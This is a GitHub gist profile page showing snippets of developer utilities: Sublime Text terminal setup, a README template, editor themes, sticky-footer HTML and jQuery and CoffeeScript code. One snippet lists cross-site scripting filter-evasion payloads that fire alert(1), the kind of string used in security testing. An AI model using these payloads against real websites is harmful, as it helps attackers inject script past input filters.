Skip to content

Instantly share code, notes, and snippets.

View fatihacet's full-sized avatar
🤙

Fatih Acet fatihacet

🤙
View GitHub Profile
@artero
artero / launch_sublime_from_terminal.markdown
Last active January 25, 2024 16:57 — forked from olivierlacan/launch_sublime_from_terminal.markdown
Launch Sublime Text 2 from the Mac OS X Terminal

Launch Sublime Text 2 from the Mac OS X Terminal

Sublime Text 2 ships with a CLI called subl (why not "sublime", go figure). This utility is hidden in the following folder (assuming you installed Sublime in /Applications like normal folk. If this following line opens Sublime Text for you, then bingo, you're ready.

open /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl

You can find more (official) details about subl here: http://www.sublimetext.com/docs/2/osx_command_line.html

Installation

@jxson
jxson / README.md
Created February 10, 2012 00:18
README.md template

Synopsis

At the top of the file there should be a short introduction and/ or overview that explains what the project is. This description should match descriptions added for package managers (Gemspec, package.json, etc.)

Code Example

Show what the library does as concisely as possible, developers should be able to figure out how your project solves their problem by looking at the code example. Make sure the API you are showing off is obvious, and that your code is short and concise.

Motivation

@assertchris
assertchris / gist:2577836
Created May 2, 2012 16:09
Highlight lines in Ace (Editor)
###
CoffeeScript
marker = null;
require(["ace/range"], (range) ->
marker = editor.getSession().addMarker(new range.Range(7, 0, 7, 2000), "warning", "line", true);
)
setTimeout(->
@0i0
0i0 / tomorrow-night.css
Created July 12, 2012 01:27
Code mirror tomorrow night theme
.CodeMirror-scroll {
height: 100%;
min-height:300px;
}
.cm-s-tomorrow-night{
font-family:'Menlo', 'Consolas', "Vera Mono", monospace;
font-size:12px;
}
.cm-s-tomorrow-night { background: none; color: hsl(140,2%,77%); }
var
setCookie = function (c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString() + "; path=/");
document.cookie = c_name + "=" + c_value;
};
setCookie("BsiLanguage", "pl_PL", 90, "/");
@hced
hced / stickyfooter.html
Created September 5, 2012 12:57
Sticky Footer (credits to Ryan Faith)
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
* {
margin: 0;
}
html, body {
@fatihacet
fatihacet / sticky-footer.html
Created September 5, 2012 13:21
sticky footer
// Created by STRd6
// MIT License
// jquery.paste_image_reader.js
(function($) {
var defaults;
$.event.fix = (function(originalFix) {
return function(event) {
event = originalFix.apply(this, arguments);
if (event.type.indexOf('copy') === 0 || event.type.indexOf('paste') === 0) {
event.clipboardData = event.originalEvent.clipboardData;
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
class FlipCounterView extends KDView
constructor : (options = {}, data = {}) ->
options.style ?= "dark"
options.from ?= 5000
options.to ?= 10000
options.interval ?= 1000
options.step ?= 1
options.autoStart ?= yes
options.direction = if options.from < options.to then "up" else "down"
options.digits ?= if options.direction is "up" then options.to.toString().length else options.from.toString().length